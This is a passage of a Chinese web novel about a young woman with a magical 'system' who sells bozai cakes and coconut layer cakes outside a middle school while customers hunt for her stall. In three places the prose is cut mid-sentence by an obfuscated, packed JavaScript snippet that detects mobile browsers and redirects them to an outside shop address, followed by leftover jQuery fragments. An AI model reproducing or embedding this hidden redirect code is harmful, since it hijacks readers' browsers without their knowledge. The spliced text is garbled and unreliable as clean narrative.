下午四点半,夏咏恩推着小车车来到了花城铁路第三中学的门口。
学校前已经有不少小吃摊在等着了,她大概地扫了一眼,烤冷面、牛杂、煎饼果子、烤肠、手抓饼……这里的品类还真不少!
见来了新人,不少摊主都对她笑了笑,有几个热情的摊主还凑过来看了一眼,“哎哟,我还是第一次见有卖钵仔糕的,这东西感觉会卖得不错!”
“是呀是呀,这东西五颜六色的,看起来就好吃。”
“别说小孩子了,天那么热,我现在都想来一个。”
她本以为,自己多少会受到这些老摊主的排挤,可这些摊主倒是都十分和善,个个脸上都带着笑。
而且,原本她的位置在校门右侧最末,几乎就要靠近大马路了。
可旁边卖牛杂的大姐,以及卖烤肠的大哥,都往左边挪了挪位置,让她的摊位更靠近校门口一些。
夏咏恩很是惊讶,十分感激,简单地跟其他摊主聊了几句,就忙着准备摊位上的东西了。
六层的钵仔糕小塔一摆出来,自然而然地吸引了许多人的目光,别说行人了,就是旁边的摊主也要看多几眼。
五点的下课铃一响,半分钟以后,一群背着书包的初中生就乌泱乌泱地走出来了校门。
“煎饼果子,十元一个,好吃不贵咧!”
“炸鸡排八元一份,有辣有不辣!”
“烤肠三块一根,五块两根!”
校园内,姚晓彤背着小书包快步从教学楼走出来。
这一次月考,她的成绩不大好,刚刚还被班主任叫去办公室辅导了好一会。
好不容易从办公室出来,她的心里郁闷得很,只想着赶紧买上一份自己最爱吃的牛杂,用美食来抵消心中的不快。
因此,她习惯性地朝牛杂小摊走去。
可她很快就留意到了牛杂摊隔壁那个显眼的新摊位,摊位前已经排了七八个学生了,再一看才发现,队尾站着的就是她的好朋友嘉嘉。
姚晓彤连忙凑上去,“嘉嘉,你今天不吃烤冷面了?”
嘉嘉捧着一杯绿豆沙,“烤冷面又不是没吃过,这钵仔糕可是第一次见。”
钵仔糕?姚晓彤摇了摇头,她对这些糕点可向来都不感兴趣。不过因为嘉嘉在排队,就站在一旁陪着聊天解闷。
嘉嘉扒拉着她的衣服,努力踮脚往前看,“哇塞,感觉每一个都很好吃……我的选择困难症都要犯了!”
“彤彤,你快帮我选一个吧。”
姚晓彤也顺着她的目光往摊位上看,见夏咏恩拿出了一个芒果味的钵仔糕,小小的一块米糕里竟然放了十几颗大块的芒果丁。
看见芒果,姚晓彤就忍不住咽了咽口水,这可是她最喜欢的水果。
芒果刨冰、芒果味的QQ糖、芒果蛋糕……就没有一样是她不爱的!
于是,她把手伸进了口袋,摸到了那珍贵的五张一块钱。
那可是自己一天的零花钱。
牛杂的卤香味顺着风飘了过来,想到那吸满了卤汁的萝卜、咬起来咯吱咯吱的牛脆骨,她又忍不住咽了咽口水。
这个钵仔糕要三块五,要是买了这个钵仔糕,就不能吃自己最爱吃的牛杂了。
虽然这个钵仔糕里有很多芒果丁,可这个摊位才刚来,说不定……不好吃呢?
正在她犹豫的时候,前面的队伍已然缩短了许多,下一个就轮到她们二人了。
嘉嘉思考了很久,最后要了一个芒果味和红豆味的。
等嘉嘉付完了钱,夏咏恩笑着看向姚晓彤,“小妹妹,你要吃什么口味的呀?”
姚晓彤支支吾吾,摆了摆手,“哦,我不买!”
随即,便急匆匆离开了队伍,找到了一旁正吃着钵仔糕的嘉嘉。
嘉嘉正吃着那芒果味的钵仔糕,姚晓彤凑到她身旁问,“怎么样,好吃么?”
嘉嘉的嘴巴里塞得满满的,只能发出“唔唔唔”的声音,又是摇头又是点头的。
“哎呀,你快说呀,到底是好吃还是不好吃?”
嘉嘉低头又咬了一大口钵仔糕,才大声说,“太好吃了,这芒果味特别浓,里面的芒果丁好大颗好新鲜啊!”
什么!竟然这么好吃!
牛杂天天吃,这芒果味的钵仔糕自己可是从来没尝过。
现在姚晓彤已经顾不上什么牛杂了,一心就想吃那芒果味的钵仔糕,于是连忙又去夏咏恩的小摊前排起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492848|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了队。
可随着放学的学生越来越多,小摊前的队伍也越来越长。更糟糕的是,方才嘉嘉那一嗓子喊得太大声了,现在前面排队的人几乎每个都要买一个芒果味的。
眼见着芒果味的库存越来越少,姚晓彤不得不开始用手指数了数。
嗯,前面还有十八个人,芒果味的钵仔糕还剩下二十个,只要每个人只买一个,自己就还能吃上。
可是,就在即将轮到她的时候,前面的那个学生,竟然一口气就买了两个芒果味的!
不要啊!我的钵仔糕!
再一次站在小摊前,姚晓彤已然是欲哭无泪。无奈之下,只好买了一个桂花味的钵仔糕。
在吃之前,她就已经闻到了一股淡淡的桂花香气。
她往钵仔糕上轻轻地咬了一小口,立马就发出了惊叹。
钵仔糕本身就带有一种凉感,配合清新淡雅的桂花,轻轻一嚼,浑身就仿佛自动降温了一样,很是清爽。
里面的桂花花瓣虽然很多,但香气并不会过分地浓郁得熏人,米糕软糯得来又带有一些嚼劲,随着不断的咀嚼,桂花香气和大米的甜香味融合得特别好。
妈呀,这桂花味都这么好吃了,那自己心心念念的芒果味,得有多好吃啊!
怀着可惜的心情,姚晓彤坐上了回家的公交车。
明天放学,自己一定要第一时间跑出来买钵仔糕!
而与此同时,跟姚晓彤一样失落的人还有一个。
那就是站在美食广场的李敏瑶。
作为一名室内设计师,李敏瑶辛辛苦苦画了一整天的图,拖着疲惫的身躯回家,在地铁上就想起来周末吃的那个钵仔糕。
买一个红豆味的钵仔糕,再来上一杯奶茶,回家躺沙发上看剧,想想就觉得快活。
于是她特意从家对面的地铁口走了出去,来到了美食广场。
原本她还在琢磨,今天到底要吃什么口味才好,可当她走到广场角落的时候,却发现那个卖钵仔糕的小摊,居然不见了!
李敏瑶重新走进美食广场里,放慢脚步,抬着头认真看每一个小摊上的招牌,试图寻找出那个熟悉的小摊。
难道摊主去了别的摊位摆摊?
可就这么绕着美食广场走了一圈,还是没见着人。
她茫然地站在一旁,难道……是自己下班太晚了,已经卖完了?
于是乎,她又跑回原来的地方,朝隔壁的酱香饼店打听。
卖酱香饼的老板说,“今天那姑娘没来,不过这也正常,这里除了周末人流量都少,我们也是晚上才过来摆摊,可能她周末就会回来了。”
李敏瑶的心中瞬间升起了一丝希望,可很快就被旁边卖烤串的大哥泼了一盆冷水。
“哼,我就知道她肯定干不长久啦!现在年轻人做事都没耐性的,我看啊,那人说不定是觉得太累了,不想干啦。”
见烤串大哥说得很是笃定,李敏瑶心中一冷,只好垂头丧气地走回家,走着走着又想起来上周末吃的红豆钵仔糕。
要是真的得等到周末才能吃到,那真是要馋死人了!
不是,我那么大一个小摊,到底哪去了?
5. 中学摆摊第二天
第二天,姚晓彤一回学校,便听见班级里有不少人都在提起那新来的小摊。其中,就属嘉嘉说得最大声,好多平时不光顾路边摊的人,都被她说得心动了。
“真的假的,那个笨笨糕能有那么好吃?”
“不是笨笨糕,人家叫钵仔糕!那字念bo!”
“三块五一个那么贵?五块我都能买两根烤肠了。”
“切,那烤肠是真的肉吗?起码那笨笨糕里可多料了,昨天我吃了个桂花的,一口下去满口香啊,比刷了牙还厉害!”
……
班级里有好些人对钵仔糕不屑一顾,于是嘉嘉拉上姚晓彤,“彤彤你说,那钵仔糕是不是真的特别好吃?”
姚晓彤想了想,“嗯,一般般吧,我觉得不太好吃。”
能劝退一个是一个,你们都别跟我抢啊!
好不容易坚持到放学,姚晓彤拉上嘉嘉,飞快地跑出了校门。
因为昨日卖得好,夏咏恩今日又做多了一些,完成任务是绝对没问题的。
不得不说,还是在学校门口摆摊比较舒坦,起码自己不用早起准备,也不用在大太阳底下站上一天,只要在校门口待上一个小时,钵仔糕就全卖光了。
而且她发现,这些甜甜的糕点,正合学生们的胃口,基本上每个人都要买两个带走。
放学铃一响,摊位前很快就来了四五个学生。听到响个不停的收款提示音,看到饼干盒里越来越多的零钱,她更是鼓足了力气干活。
很快,姚晓彤和嘉嘉就排到了摊位的前面。
这一回,姚晓彤可终于是买到了心心念念的芒果钵仔糕。
看着这里头又大又新鲜的芒果丁,她的口水都快流出来了。
她只往旁边挪了一步,迫不及待地张开嘴巴咬了一大口,酸甜的芒果汁水在口中爆开,“我的妈呀,这也太好吃了吧!”
嘉嘉在旁边说,“是吧是吧,我都跟你说了,这里头的芒果特别多而且很香。”
姚晓彤越嚼双眼睁得越大,这芒果丁特别厚实,完全不是外头买的那种一咬就成泥的芒果。
而且这芒果连一点纤维都没有,一口下去超级满足!
她就站在夏咏恩的小摊边上,快速地吃完了一整个钵仔糕,周围的学生见她吃得那么香,也忍不住把目光投过来。
“哇,芒果味的真的有那么好吃吗?”
“哎呀,要不是我芒果过敏,我肯定就买了。”
“哎,早上问你的时候,你不是说不好吃吗,我看你刚刚吃得挺香的啊?”
姚晓彤回头一看,见说话的人是自己班上的一个男生,只好尴尬地笑了笑。
反正美味的钵仔糕已经在自己肚子里了!
可她往后一看,摊位前排队的人比昨天更多了,心里瞬间一咯噔——
完蛋了,以后该不会买不到钵仔糕了吧!
一个小时过后,摊位上的钵仔糕全部售空了。夏咏恩擦了擦汗,系统提示音适时响起:
【恭喜宿主完成任务!解锁“椰汁千层糕(原味/斑斓)”配方】
【阶段任务已更新:在周六前卖出300份椰汁千层糕】
夏咏恩舒出一口气,太好啦,终于有新点心了!
这两日钵仔糕虽然卖得不错,可毕竟品种单一,要是自己不及时推出新品,未免会流失许多学生。
回到荣兴楼,夏咏恩连忙点开点心图鉴,上面已新增了椰汁糕的详细介绍与制作方法。
椰汁千层糕其实是在马蹄糕的基础上演变出来的糕点,通过在马蹄粉浆上一层一层地叠加椰汁,形成了规则的黄白条纹。
通常来说,椰汁千层糕会有九层的条纹,因此,做起来要比钵仔糕更复杂,用的材料也更多。
而椰汁千层糕最重要的一个步骤,就是一层一层地把马蹄粉浆与椰浆蒸熟。
夏咏恩先舀了一勺马蹄粉浆在不锈钢模具里铺开,放进蒸笼上锅蒸。
蒸笼上方又跳出了加速按钮,她立马点了加速,一眨眼,那一层马蹄粉浆瞬间凝固,呈现出半透明的黄色。
最低层的马蹄糕已经做好了!
然后她又舀了一勺椰浆铺在上面,经过加速,椰浆层一秒钟凝固,黄白规则的条纹已初具雏形。
接下来她便一层一层的往上叠加,很快,一个晶莹剔透,黄白相间的椰汁千层糕就做好了。
刚蒸出来的千层糕还很粘手,要等到完全放凉后,才可以脱模切开。
当然,这回夏咏恩也点了加速。
变凉的椰汁千层糕就像一大块肥美的五花肉,但摸起来滑溜溜的,稍微摇一下,就会有“duangduangduang”的感觉。
而斑斓味的椰汁千层糕,外表则是绿白相间的条纹。
两大块如同玉石一样的千层糕摆在面前,十分赏心悦目,真是太治愈了!
这一回,她同样用完了一天的体力,将椰汁千层糕的等级升到了C等级。
从无界空间出来后,她开始琢磨起了任务。任务要求是周六前,现在是周二,还有三天的时间完成任务。
按照现在的情况,别说三天了,一天之内卖掉300份椰汁千层糕都没问题。
可问题是,她不能只卖椰汁千层糕,毕竟在学生的眼中,钵仔糕才是招牌。
所以,钵仔糕和椰汁千层糕都得做。只不过,明天就先准备三十份椰汁千层糕,看看学生们的反馈,若是卖得好,往后便可多做一些了。
从无界空间出来,夏咏恩准备去市场一趟,采购千层糕所需要的材料。
另一边,昨天没有吃到钵仔糕的李敏瑶,又出现在了美食广场。
她不死心,今天下了班又走到了美食广场附近,想着碰一碰运气,可那个偏僻的摊位上依旧是空无一人。
她失落地摇了摇头,只好走到隔壁,买了五块钱的酱香饼。
等老板切饼的时候,不远处走来一个男的,停在了原本夏咏恩的小摊儿前面。
先是打量了这小摊好几眼,又左顾右盼,似乎在找什么人。
李敏瑶壮着胆子开口,“你也是来买钵仔糕的?”
那男人猛地一点头,“大妹子,你咋知道?”
前两天他在这家小摊上买过几个带回家,女儿特别喜欢,今天又闹着要吃,于是他就想趁着下班,来美食广场买几个回去。
可来了才发现,这、这小摊怎么没了!
李敏瑶再一问才知道,人家是因为看到自己在小绿书上发的安利帖,这才找到了这里。
上回她随手发的帖子,如今已经积累了三百多个点赞了,评论也有五十多条。这几日新增了好几条评论,都是跟他们一样慕名而来没找到摊位的。
李敏瑶不得不在评论区置顶了一条自己的评论:各位姐妹,这两日我去美食广场发现老板不在,目前还在打探老板的位置
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492849|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,等我好消息!
“姐妹,知道位置记得踢我!”
“蹲蹲。”
“放个屁股在这里。”
“啊,早知道我周末买多几个了,今天过来找不到了。”
……
那男人和李敏瑶合计,这几日在这附近打听打听,说不准会有人知道那小摊儿到底哪去了。
等李敏瑶回到了家,男友赵一平已经煮上了米饭,正准备炒菜,见她手上只提着一袋酱香饼,“怎么了,你说的那小摊又没在?”
“哎呀,别提了。”李敏瑶躺在沙发上,打开绿泡泡通过了酱香饼老板的好友申请。
赵一平扶了扶眼镜,“我说,那什么钵仔糕有那么好吃吗?”
“当然好吃了,不仅好吃料还多,”李敏瑶直拍大腿,“只可惜你是没那个福气了,估计人家就是摆着玩的,没想过挣钱。”
赵一平笑着摇了摇头,只觉得李敏瑶可爱。不过是一个满大街都有得卖的钵仔糕,被她说得天花乱坠,就算再好吃,又能好吃到哪里去?
他刚做好饭,放在桌上的手机就响了起来。
李敏瑶拿起手机一瞧,“哎,姚晓彤的爸爸找你。”
赵一平急匆匆接起电话,电话那头传来一个熟悉的声音,“喂,赵老师吗,你现在不忙吧?”
“怎么了姚爸爸,这么晚了有什么事?”
简单地聊了几句,赵一平才知道,原来是因为这次姚晓彤月考没考好,所以姚爸爸才特意打电话过来,询问晓彤在学校的表现。
“赵老师,彤彤这物理成绩太差了呀,我们做家长的也不懂啊,就想着老师您这边帮帮晓彤。”
赵一平本来就是姚晓彤的班主任,又是物理老师,因此,他一早就注意到了这个情况。
对于班上个别物理成绩较差的同学,他决定在放学后开展小班辅导,让大家能够更好地掌握物理的基础知识。
因此第二天放学,姚晓彤就和几个同学被留了下来。
嘉嘉对着坐在窗边的晓彤说,“要不我先去替你买钵仔糕,然后在门口等你?”
“算了吧,也不知道要留多久,你就先回去吧。”
姚晓彤托腮,叹了一口气。看来今天是吃不到钵仔糕了,等自己把训练题解出来,那个小摊早就卖光了。
她预料的也确实没有错,经过前面两天,夏咏恩的钵仔糕在学生间打出了些许名气,不少人都知道了学校门口前有一个卖钵仔糕的小摊。
吃过的学生把钵仔糕的味道说得是天花乱坠,没吃过的将信将疑,也有不少人动了心思,就想着放学来上那么一个尝尝。
因此,现在放学都不用两分钟,夏咏恩的小摊前就已经挤满了人。
“姐姐姐姐,我要两个芒果的!”
“阿姨,我要桂花红豆各一个!”
“明明是我先来的凭什么先给他!”
“谁踩了我新买的鞋子啊!”
十几个学生将小摊团团围住,夏咏恩感觉自己耳膜都要炸开了,手上打包的速度加快了不少,可拿着钱横在自己面前的手依旧一只都没少。
有眼尖的学生看见小摊上多出了十几个有盖的塑料小杯,杯子里装着绿白相间的小方块,小杯里还斜插着一根竹签,竹签顶上是一把小的纸伞,看上去十分精致。
夏咏恩笑着回,“椰汁千层糕,有原味和斑斓味的,一块五一份,要来一份吗?”
6. 椰汁千层糕
与钵仔糕不同,成品的椰汁千层糕又厚又大,没办法按照一个钵仔一份那样售卖。寻常的茶楼里,都是将千层糕切成小方砖那样,大约三四块千层糕当作一份出售。
如果她也按照同样的规格放到学校门口卖,便会出现一个问题。
原本钵仔糕的份量就大,如果千层糕也切成大块出售,学生们吃完钵仔糕,就没有胃口再吃别的了。
再说学生们手里的钱本来就不多,钵仔糕本来就定价偏贵,若是千层糕也卖得贵,学生们就只能从中择一了。这样一来,即便是推出了新品,营业额也不会上涨多少。
因此,她便将切成了一口一个的大小,装进塑料小杯里,一个小杯里有十五个,并且附上了一个可爱的小雨伞装饰。
吃了两天的钵仔糕,自然有学生想要换换口味,再加上椰汁千层糕颜值很高,于是很快就卖出了不少。
拿着椰汁千层糕的学生们往旁边挪了几步,就开始吃了起来,将校门口堵得是一窍不通,引得在其他摊位前排队的学生也好奇了起来。
“不是,这卖的什么啊,怎么那么多人排队。”
“我也不知道,不过应该很好吃吧,不然怎么那么多人。”
“要不我们去试试?反正才一块五啊,一块五连半个手抓饼都买不到。”
……
学生们的议论通通都传入了夏咏恩的耳朵里,而摊位周边捧着椰汁千层糕吃得正欢的学生,全都成了她的活招牌。还不到半个小时,钵仔糕已经卖完了,而椰汁千层糕还剩下最后的一份。
排在后头的学生们,眼睁睁地看着夏咏恩将最后一份递到了前头绑着马尾辫的女生手上,人群中不知是谁发出了一声哀嚎,“不是吧!”
很快,有几个学生便围了上去,“嘉嘉,我把烤肠分你一半,你能分我一半吗?”
“嘉嘉,我把我姑姑从日本带回来的笔送你,你把它转给我吧!”
“我我我!嘉嘉,我们平时那么要好,你就让我尝一口吧!”
……
看着学生们的嬉笑打闹,夏咏恩的心中多了几分满足。
今日椰汁千层糕第一次露面,便得到了许多学生的欢迎,而钵仔糕也依旧卖得很好
如今自己才在校门外摆了三日,虽然生意每日都很好,可总有还没吃过钵仔糕的学生,而椰汁千层糕的推出,又会吸引一些对钵仔糕不感兴趣的学生。
只要自己时不时推出新品,小摊的生意便不会差到哪里去。剩下的两天里,自己得卖出270份椰汁千层糕才能完成任务。
不过,这对于现在的自己来说,应该不是太难。
眼看从校门口出来的学生越来越少,不少小摊便准备离开。
夏咏恩正收拾着东西,便觉得脚上像是被什么东西挠了一把,低头一看,是一只黄色的小肥猫,正歪着头看着自己。
哇!圆滚滚、胖乎乎的小咪,好可爱呀!
她蹲下身刚伸出手,小猫就凑到她的手边上闻了闻,又舔了舔嘴巴。
夏咏恩轻轻挠了挠小猫的头,“小咪,你想吃东西呀?”
旁边几个摊主见到小猫,便“嘬嘬嘬”了起来,卖牛杂的大姐还拿出一串牛肠,剪碎了给小猫吃。
再一打听,夏咏恩才知道,原来这只小猫是学校旁文具店的,它可是出了名的馋嘴,时不时就会跑来要吃的,其他摊主也早已喂习惯了。
小肥猫吃完了牛肠,吃了点鸡扒,又吃了点烤肠,似乎还是意犹未尽,一直在夏咏恩的脚后跟徘徊。
夏咏恩只好承诺明天会给小咪带好吃的,小肥猫这才大摇大摆地从学校门口离开,蹿进了文具店里。
第二天,姚晓彤才从嘉嘉的口中得知椰汁千层糕的存在。
她咽了咽口水,顿时觉得手里捧着的巧克力面包索然无味。
嘉嘉把插在笔袋上的小雨伞拿了出来,伞面上印了一层可爱的卡通图案,还有一层亮晶晶的闪粉。被光一照,卡通图案闪闪发光,好看极了!
姚晓彤下定决心:今天无论如何,一定要吃到椰汁千层糕!
到了放学,等赵一平带着卷子来到教室门,就看见姚晓彤拉着嘉嘉站在走廊等自己,“老师,我能先去买点吃的么?我解题的速度太慢了,肚子饿得难受。”
再一问才知道,她是要去门外的小摊买东西吃。见她神情着急,怕是饿得不舒服,便点了头,“你注意安全啊,快些回来。”
十分钟后,姚晓彤拎着一袋东西急匆匆地跑回了教室。要不是有嘉嘉帮忙,她怕是都买不到椰汁千层糕了。
回到座位,对着面前的物理卷子,她还哪里有做题的心思,连忙就把袋子里的两杯椰汁千层糕拿了出来。
反正现在也做不出来题目,要不……先吃一个?
周围的同学都在低着头解题,她悄悄打开了塑料杯盖,拿起竹签想要戳一块千层糕放进口中。
可千层糕实在太滑,竹签在糕体的面上滑走了好几次,紧紧挨在一起的千层糕微微轻颤,从光滑的切面能看见每一层的线条都十分平整,她用力戳中一块较大的千层糕,快速塞进口中。
下一刻,她不由自主地发出了一声惊呼。
还没有用力去嚼,就吃到了一股浓郁的椰香,再嚼多几下,清甜的马蹄味在口中散发开来,两种不同的味道互相融合,减弱了椰香的甜腻,更不用说紧实的糕体在在牙齿间不断回弹,一口咬下去又嫩又滑。
她吃得正欢,周围的同学听见若隐若现的咀嚼声和吞咽声,自然是分了心神,忍不住在教室里四处张望。
不是,到底是谁在吃东西啊!吃东西就算了,干嘛吃得那么香啊!
姚晓彤全然不知,低头快速吃完了一块,又用竹签去戳第二块,第三块……完全不够吃啊!
原本她只是想着先吃几口解馋,可不到五分钟,原味的椰汁千层糕已经空空如也。
既然如此,干脆一口气通通吃完算了!
她又伸出手拿起那杯斑斓味的千层糕,掀开塑料杯盖的响动,在安静的教室里被无限放大。
前排的同学转过头来,将视线对准了姚晓彤,“你做完卷子了?”
她用竹签插起一小块千层糕,“哎呀,待会再做也不迟啊!”
三秒后,那低声的惊呼又在教室里响起。
本以为原味的已经够好吃了,可斑斓味的更是一绝!
斑斓叶那股独一无二的清冽之气让整块千层糕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492850|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的口感更冰凉,吃起来更加爽口,一口一个完全停不下来啊!
听见熟悉的咀嚼声,前后排的同学忍不住再一次将视线投在姚晓彤的身上。
这个千层糕明明就看起来平平无奇,真的有那么好吃吗?
“晓彤,你在哪里买的啊?贵不贵?”
姚晓彤一边嚼,一边给其他同学安利,教室里讨论的声音越来越大。
赵一平扫了一眼学生们,忍不住清了清嗓子,“要是你们都能把心思都放在做题上,今天也不用被我留下来了。”
半小时后,姚晓彤终于把三道物理题做出来了。
赵一平一边批改一边说,“以后啊那些小摊上卖的东西还是少吃点,要不下回我拿点饼干面包给你?”
姚晓彤嘟着嘴巴,忍不住给他安利,“老师你相信我,真的特别好吃!”
于是么,她站在那里,把钵仔糕和椰汁千层糕的味道都形容了一遍,说得自己都要流口水了。
听见她口中说的钵仔糕,赵一平想起李敏瑶,忍不住腹诽,难道现在流行吃钵仔糕了?怎么个个都说钵仔糕好吃啊?
作为土生土长的花城人,钵仔糕什么味道,自己能不知道?
再说了,那些做得好吃的肯定都去开店了,谁还有空在学校门外摆摊啊?
赵一平也不是没当过学生,校门外的那些小摊,不就两个优点,量大管饱以及价格便宜,味道么,也就尚且过得去吧。
还有那什么椰汁千层糕,喝早茶的时候家里人最爱点了,吃了这么多年不就是那个味道,能好吃到哪里去?
他不禁摇了摇头,果然,还没有被添加剂污染的舌头就是好啊。
等他回到家,就遇见刚从美食广场回来的李敏瑶。
“怎么了,还没找到你的宝藏小摊?”
李敏瑶摇了摇头,垂头丧气地进了家门,“别提了,连着去了三天都没见到人。”
除了昨天那个男人之外,今天她又撞到几个来找钵仔糕小摊的人,正所谓能吃到一起也是个缘分,因此大家就互相加了联系方式,还拉了一个群聊。
群名叫,美味的钵仔糕哪里逃。
李敏瑶顺便给帖子下面蹲位置的网友发送了进群邀请,现在群里面已经有十三个人了,虽然人数不多,但总比她一个人找的希望要大些。
一说起钵仔糕,赵一平就想起来姚晓彤那个馋嘴的模样。
“哎,我跟你说,我班上的学生告诉我,我们学校外面也有个卖钵仔糕的小摊,最近这两天还卖什么椰汁糕,据说很好吃,要不我明天给你带一个回来尝尝?”
李敏瑶想都没想就摇了头,“学校外面卖的,跟我买的那家,哪里能一样啊。”
见李敏瑶态度坚决,赵一平只好作罢。
两人吃完晚饭,屋外忽然下起了倾盆大雨。
赵一平万分祈祷,只希望明天早上之前一定要停雨,不然自己就要顶着大雨上班了。
然而并没有如他所愿,第二日一早,赵一平和李敏瑶怀着满腹怨气出了门。
而此时此刻,夏咏恩看着窗外的雨,心中着急万分。
这下可糟糕了,这么大的雨要是连着下一天,那自己还怎么出摊!
7. 换地方摆摊
真是没想到,自己千算万算,竟漏掉了天气这个如此关键的因素。
她打开手机看了一眼,才知道有一个热带气旋逼近花城,未来好几天怕是都要下雨。
夏咏恩不免懊恼,但很快又重新振作,打开了系统面板。
【阶段任务:在周六前卖出300份椰汁千层糕(183/300)】
按照之前的惯例,完成了任务之后,系统就会解锁新的点心。所以,今日无论如何,自己都要把任务完成。
她打开地图,认真思索,自己只有一辆小推车,车上也没办法装雨具,要不换个能挡雨的地方摆摊?
一时之间,她又想到了美食广场。美食广场虽然是露天开放,但广场上搭了顶棚可以挡雨,只是之前自己没有提前联系定下摊位,今天临时起意去摆摊,恐怕不得行。
再说了,尽管今天是周五,可受天气影响,在美食广场附近逛的人定会比平日少许多,自己这一百多份的椰汁糕,也不知道能卖出去多少。
想了许久,夏咏恩还是决定在学校附近继续摆摊,毕竟这几天下来,自己的小摊也算是有了一些名气。
下雨归下雨,可学生还是会放学,也还是会想吃东西的。
只不过今天情况特殊,她得找一个好位置才行。
夏咏恩打着伞走到了学校附近,现在还没到放学时候,因此校外十分清静。
在瓢泼大雨中,她看见不远处的巷子口有一间文具店,而一只熟悉的小肥猫,正躺在门口的地上睡大觉。
她的心里头忽然萌生出一个想法,赶紧走到了巷子口,认真打量这间文具店,顺便努力回想前几天摆摊时的情形。
如果她没有记错,这家文具店的生意应该不怎么样。
再结合观察的结果,她更加肯定了自己的想法。
店里的装潢陈旧,能看出来已经开了有一点年头了,里头光线有点暗,摆设也很简单,只有五排货架,货架上堆满了文具,还有一些手办、卡牌以及捏捏。
夏咏恩又在附近看了看,发现巷子里除了这家文具店外,还有一家书店以及便利店。
旁边的书店灯光明亮,除了卖课外辅导书以及课本外,也跟旁边的文具店一样,手办、卡牌、捏捏等应有尽有,还卖一些一两块的小零食。
而文具店里的光线有点昏暗,从外面看起来就冷冷清清的,而且店里的文具虽然很全,可老板似乎并没有精心摆设过,只是都堆在了货架上,一眼扫过去很难挑出想买的。
再说了,现在网购那么发达,学生们也不傻,除非急用,谁还会在实体店里买文具。
除此以外,文具店的门口摆了一个很大的玻璃柜台,柜台里放着一些款式过时的文具,恐怕学生还没踏进门呢,就萌生了离开的欲望。
既然文具店的生意不好,门口的这块“风水宝地”,借给自己摆摊,不就正正好么?
夏咏恩心下已定,借着逗猫的功夫,跟文具店的老板攀谈起来。
文具店的老板是个烫着卷发的阿姨,姓冯,看起来很是淳朴。
冯姐一听她的来意,再打量了夏咏恩好几眼,猛地直拍大腿,“钵仔糕?原来是你在卖呀!”
这几日坐在店门逗猫的时候,就见着许多学生手上都拿着竹签吃一个新奇的小糕点。
于是她就寻思找学生问问那糕点到底是啥,要是价格便宜,要不也进点货摆在文具店里卖,说不准就能让店里的生意好一些。
可没想到,正主竟然主动找上门了。
天大的好事砸到头上,冯姐心里立马就活络了起来,可对着突如其来的夏咏恩,未免还是有些疑惑,“这附近那么多铺子,你怎么就找上我了呢?”
夏咏恩笑着说,“我远远地就瞧见这猫躺在地上,一副懒洋洋胖嘟嘟的模样,就知道您平日养得极好,是个善良的好心人。”
“再一看,这小猫先头还找我要过吃的呢,这不就是缘分么?”
听见这话,冯姐心里很是熨帖,立马就想应下来。
夏咏恩又提起了摊位费的事,虽说文具店生意不好,可自己是占了人家的位置,给钱是应该的。
冯姐连连摇头,“我这店生意原本就不好,你肯在这儿摆摊就是来帮我,我还要什么钱呀!”
既是说定了,夏咏恩心中瞬间便踏实了许多。临近放学的时候,便早早地来到了文具店的门口。
冯姐也在一旁帮忙,一想到待会学生们争相涌入文具店的场景,心里头便乐开了花。
受天气影响,今日来校门口摆摊的摊贩,只有零星几家。可夏咏恩知道,虽然竞争变小了,但既然换了位置,生意难免会受到一些影响。
果真,放学后过了五六分钟,才有学生发现摆在文具店门口的小摊。
而更多的学生则是匆匆打着伞离去,校门口那几个小摊的生意也比平日差了很多。
冯姐刚提到嘴边的笑意,又渐渐地沉了下去。她本想着这姑娘生意好能给店里招来客人,才免了摊位费,可这样一看,便有些后悔了。
夏咏恩并不知她的想法,只是细心地打包好钵仔糕和椰汁千层糕,递给面前的学生,又指了指文具店门前的几张塑料椅子,“外面雨大,你们要不在这里吃完再走吧?”
店门前位置小,自然也坐不下多少人,七八个学生就这么挤在了文具店门前的雨棚下。
一旁正逗着猫的冯姐,心里生出了许多期待,眼睛黏在了这群学生的身上。
其中两个学生拿着椰汁千层糕进文具店里转了一圈,却又很快走了出来,和同伴在店门口聊起了天。
冯姐的嘴角不由得撇了撇,这堆学生在店门口光聊天不买东西,真是碍事得很!
要不是看在夏咏恩的面子上,自己肯定要马上赶人了。
而不远处的校门口,姚晓彤和嘉嘉打着伞走了出来,两人身后还跟着三个同学,全都是被姚晓彤成功安利而来的。
几人在校门口转了一圈,并不见夏咏恩的身影,未免有些失望。
“不是吧,难道要等到下周一才能吃上吗?”
